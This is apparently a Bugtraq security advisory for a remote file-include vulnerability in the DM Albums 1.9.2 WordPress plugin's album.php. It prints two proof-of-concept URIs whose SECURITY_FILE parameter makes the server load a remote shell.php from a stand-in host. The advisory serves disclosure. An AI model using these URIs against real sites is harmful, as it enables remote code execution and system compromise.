DM Albums 'album.php' Remote File Include Vulnerability

Bugtraq ID:	35521
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 29 2009 12:00AM
Updated:	Jun 30 2009 07:39PM
Credit:	Septemb0x
Vulnerable:	DutchMonkey DM Albums 1.9.2
Not Vulnerable:

DM Albums 'album.php' Remote File Include Vulnerability

DM Albums is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

DM Albums 1.9.2 is vulnerable; prior versions may also be affected.

DM Albums 'album.php' Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/[path]/template/album.php?SECURITY_FILE=http://example.net/shell.php
http://www.example.com/[path]/wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=http://example.net/shell.php

DM Albums 'album.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

DM Albums 'album.php' Remote File Include Vulnerability

References:

• DM Albums Homepage (DutchMonkey)